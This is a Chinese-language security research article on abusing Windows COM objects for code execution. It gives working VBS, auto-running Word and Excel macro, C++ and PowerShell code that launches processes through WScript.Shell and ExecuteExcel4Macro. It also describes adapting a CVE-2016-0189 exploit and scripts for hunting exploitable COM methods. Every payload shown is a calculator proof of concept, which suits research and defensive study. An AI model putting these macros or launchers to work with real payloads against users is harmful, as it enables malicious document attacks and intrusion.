作者:Joey@天玄安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/8EosEscGJmLt00z02uCQuA

前言

本文在FireEye的研究Hunting COM Objects[1]的基礎上,講述COM對象在IE漏洞、shellcode和Office宏中的利用方式以及如何挖掘可利用的COM對象,獲取新的漏洞利用方式。

COM對象簡述

(微軟組件對象模型),是一種獨立于平臺的分布式系統,用于創建可交互的二進制軟件組件。 COM 是 Microsoft 的 OLE (復合文檔) 和 ActiveX (支持 Internet 的組件) 技術的基礎技術。

注冊表項:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID下,包含COM對象的所有公開的信息,圖中顯示了Wscript.Shell對象在注冊表中的信息:

其中{72C24DD5-D70A-438B-8A42-98424B88AFB8}就是該對象的CLSID。如果將COM對象比作人的話,CLSID就相當于身份證號,每個COM對象的CLSID都是唯一且不重復的。當然,如果只有身份證號,會有很多不方便的情況,于是便有自己的名字。那么COM對象中的ProgID就相當于它的名字,圖中的COM對象ProgID為WScript.Shell.1:

ProgID

而InProcServer32表示該COM對象位于哪個PE文件中,圖中表示WScript.Shell對象位于C:\Windows\System32\wshom.ocx中:

InProcServer32

有了上述的信息后,接下來便可以通過這些信息去使用COM對象了。

COM對象的利用

COM對象可以通過腳本語言(VBS、JS)、高級語言(C++)和powershell創建。接下來分別介紹這三種創建方式。

腳本語言創建COM對象

通過腳本語言,我們可以很輕易的創建一個COM對象,使用VBS創建Wscript.Shell對象:

Dim Shell
Set Shell = CreateObject("Wscript.Shell")
Shell.Run "cmd /c calc.exe"

運行效果如圖:

CreateObject方法使用COM對象的ProgID:Wscript.Shell來創建對象,創建完成后便能調用該對象的Run方法通過cmd起calc。除了使用ProgID,還可以使用Wscript.Shell對象的CLSID來創建:

Dim Shell
Set Shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
Shell.Run "cmd /c calc.exe"

這種方法的好處是當想要創建的COM對象沒有ProgID時,便可以通過CLSID進行創建。接下來對CVE-2016-0189[2]的EXP進行改造,將EXP中如下vbs代碼替換成創建Wscript.Shell即可。

替換前:

' Execute cmd
Set Object = CreateObject("Shell.Application")
Object.ShellExecute "cmd"

替換后:

' Execute cmd
Dim Shell
Set Shell = CreateObject("Wscript.Shell")
Shell.Run "cmd /c calc.exe"

最終實現效果:

接下來講述COM對象在Office宏中的利用,以Office2019為例,在word文檔中創建如下宏代碼:

Sub AutoOpen()
Dim Shell
Set Shell = CreateObject("Wscript.Shell")
Shell.Run "cmd /c calc.exe"
End Sub

打開文件后,會提示宏已被禁用:

點擊啟用宏后,使用cmd起計算器:

用法和IE中一致,就不再贅述了。

通過高級語言創建COM對象

如果想通過高級語言(這里以C++為例)使用COM對象的話,必須要明白微軟定義的COM三大接口類:IUnknown[3]IClassFactory[4]IDispatch[5]

參考COM三大接口:IUnknown、IClassFactory、IDispatch[6]一文。COM規范規定任何組件、任何接口都必須從IUnknown繼承,IUnknown內包含3個函數:QueryInterface、AddRef和Release。QueryInterface用于查詢組件實現的其它接口,AddRef用于增加引用計數,Release用于減少引用計數。根據本人的理解,QueryInterface用來獲取IClassFactory類的的接口,AddRef和Release用于控制裝載后InProcServer32所在PE文件的生命周期。當引用計數大于0時,內存中始終存在一個PE文件可以創建COM對象,當引用計數等于0時,系統會將內存中的PE文件釋放掉,也就無法對該COM對象進行任何操作了。

IClassFactory的作用是創建COM組件,通過類中CreateInstance函數即可創建一個可以使用的COM對象。有了對象還不夠,必須要使用對象中的各種函數來執行功能,于是便要使用IDispatch接口類來獲取函數和執行函數。

IDispatch叫做調度接口,IDispatch類中的GetIDsOfNames函數可以通過IClassFactory創建的COM對象的函數名獲取對應的函數ID(IID),通過這個ID就可以使用IDispatch類中的Invoke函數來執行COM對象中方法。最后將相關的資源使用IUnknown->Release函數釋放,即可完成一次完整的COM對象調用過程。圖中所示就是具體的實現流程:

不過在實際使用中,并不會直接使用IUnknown接口類的函數,因為極易因為程序員的疏忽忘記釋放一個接口或者多釋放一個接口導致錯誤,因此使用圖中函數CoCreateInstance就能直接創建一個類的接口。也就是說一個函數封裝了IUnknown類和IClassFactory類的功能,能夠簡化流程。

下面是創建WScript.Shell對象,使用Run方法起powershell的完整代碼:

#define _WIN32_DCOM
using namespace std;
#include <comdef.h>

#pragma comment(lib, "stdole2.tlb")

int main(int argc, char** argv)
{
    HRESULT hres;

    // Step 1: ------------------------------------------------
    // 初始化COM組件. ------------------------------------------

    hres = CoInitializeEx(0, COINIT_MULTITHREADED);

    // Step 2: ------------------------------------------------
    // 初始化COM安全屬性 ---------------------------------------

    hres = CoInitializeSecurity(
        NULL,
        -1,                          // COM negotiates service
        NULL,                        // Authentication services
        NULL,                        // Reserved
        RPC_C_AUTHN_LEVEL_DEFAULT,   // Default authentication 
        RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation
        NULL,                        // Authentication info
        EOAC_NONE,                   // Additional capabilities 
        NULL                         // Reserved
    );
    // Step 3: ---------------------------------------
    // 獲取COM組件的接口和方法 -------------------------
    LPDISPATCH lpDisp;
    CLSID clsidshell;
    hres = CLSIDFromProgID(L"WScript.Shell", &clsidshell);
    if (FAILED(hres))
        return FALSE;
    hres = CoCreateInstance(clsidshell, NULL, CLSCTX_INPROC_SERVER, IID_IDispatch, (LPVOID*)&lpDisp);
    if (FAILED(hres))
        return FALSE;
    LPOLESTR pFuncName = L"Run";
    DISPID Run;
    hres = lpDisp->GetIDsOfNames(IID_NULL, &pFuncName, 1, LOCALE_SYSTEM_DEFAULT, &Run);
    if (FAILED(hres))
        return FALSE;
    // Step 4: ---------------------------------------
    // 填寫COM組件參數并執行方法 -----------------------
    VARIANTARG V[1];
    V[0].vt = VT_BSTR;
    V[0].bstrVal = _bstr_t(L"cmd /c calc.exe");
    DISPPARAMS disParams = { V, NULL, 1, 0 };
    hres = lpDisp->Invoke(Run, IID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_METHOD, &disParams, NULL, NULL, NULL);
    if (FAILED(hres))
        return FALSE;
    // Clean up
    //--------------------------
    lpDisp->Release();
    CoUninitialize();
    return 1;
}

步驟一、二都是用來初始化調用COM對象,步驟三使用了CoCreateInstance創建了WScript.Shell對象的IDispatch類接口,使用GetIDsOfNames函數獲得了Run函數的ID。步驟四通過函數ID使用Invoke函數執行了Run方法起calc,最終運行的效果和IE的EXP一致,這里就不再展示了。

那么,如此復雜的方式相比VBS有什么好處呢?那就是可以將C++代碼通過shellcode生成框架轉化為shellcode,生成后的shellcode比VBS能用在更多的地方,更加靈活,至于如何將代碼轉換成shellcode本文就不再講述了。

通過powershell創建COM對象

接下來就是最后一種創建COM對象的方式:使用powershell創建COM對象。使用powershell一樣可以分別通過ProgID和CLSID創建,通過$shell = [Activator]::CreateInstance([type]::GetTypeFromProgID("WScript.Shell"))命令即可通過ProgID創建WSH對象,而通過$shell = [Activator]::CreateInstance([type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8"))則可以通過CLSID創建,下圖是通過CLSID創建后的效果:

通過這種創建COM對象的方式,我們便可以編寫powershell腳本進行COM對象的遍歷了,獲取計算機中大部分COM對象的方法和屬性了。

COM對象的挖掘

這部分的內容參考了FIREEYE的研究進行,利用powershell腳本遍歷COM對象的方式成功挖掘到一種利用方式,故此分享。

已公開COM對象利用挖掘

首先需要遍歷系統中所有COM對象的CLSID,于是編寫powershell腳本,將CLSID輸出到txt文本中:

New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt

生成的clsid.txt如圖所示:

clsid

接著利用這些clsid通過powershell創建對應的COM對象,并且使用Get-Member方法獲取對應的方法和屬性,并最終輸出到文本中,pwoershell腳本如下:

$Position  = 1
$Filename = "clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
      Write-Output "$($Position) - $($CLSID)"
      Write-Output "------------------------" | Out-File $Filename -Append
      Write-Output $($CLSID) | Out-File $Filename -Append
      $handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
      $handle | Get-Member | Out-File $Filename -Append
      $Position += 1
}

腳本運行期間可能會打開各種軟件,甚至會退出,需要截取clsid重新運行。運行后的文本內容為:

clsid-members

通過搜索關鍵詞:execute、exec、和run,能夠發現不少可以利用的COM對象。本人由于在研究宏相關的COM利用,于是嘗試了關鍵字ExecuteExcel4Macro,結果意外的收獲到了COM對象Microsoft.Office.Interop.Excel.GlobalClass:

ExecuteExcel4Macro

于是使用ExecuteExcel4Macro函數加載shell32.dll中的ShellExecuteA成功起calc:

Sub Auto_Open()
Set execl = GetObject("new:00020812-0000-0000-C000-000000000046")
execl.ExecuteExcel4Macro ("CALL(""shell32"", ""ShellExecuteA"", ""JJJCJJH"", -1, 0, ""CALC"", 0, 0, 5)")
End Sub

ExecuteExcel4Macro-calc

未公開COM對象利用挖掘

對于已經公開的COM對象挖掘較為容易,當面對未公開的COM對象時,就需要通過逆向挖掘利用。比如位于C:\windows\system32\wat\watweb.dll中的WatWeb.WatWebObject對象公開了一個名為LaunchSystemApplication的方法,在oleview中能看到需要3個參數:

oleview

但僅憑這些信息無法確定該方法是否能起任意進程,于是逆向查看LaunchSystemApplication,由于有調試符號,因此可以直接定位到該方法:

LaunchSystemApplication

LaunchSystemApplication調用LaunchSystemApplicationInternal,進入查看發現調用了CreateProcess,有利用的可能:

LaunchSystemApplicationInternal

但是可以看到調用了IsApprovedApplication方法進行校驗,進入查看:

IsApprovedApplication

ExeName

發現需要校驗傳入的字符串為slui.exe,同時會將該字符串附加到系統路徑下,因此并不能隨意執行進程。盡管最終沒有利用成功,但是這種思路可以幫助分析其他未知的COM對象,挖掘到更多的利用方式。

結論

COM對象功能強大,靈活便捷,可以用于瀏覽器、腳本、Office宏、shellcode和powershell。通過powershell遍歷系統中的COM對象,結合逆向分析更有可能發現未公開的利用方式。

參考鏈接

[1] FireEye-Hunting COM Objects

[2] Github-Brian Pak-CVE-2016-0189-exploit

[3] Microsoft-IUnknown接口說明文檔

[4] Microsoft-IClassFactory接口說明文檔

[5] Microsoft-IDispatch接口說明文檔

[6] CSDN-COM三大接口:IUnknown、IClassFactory、IDispatch


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1624/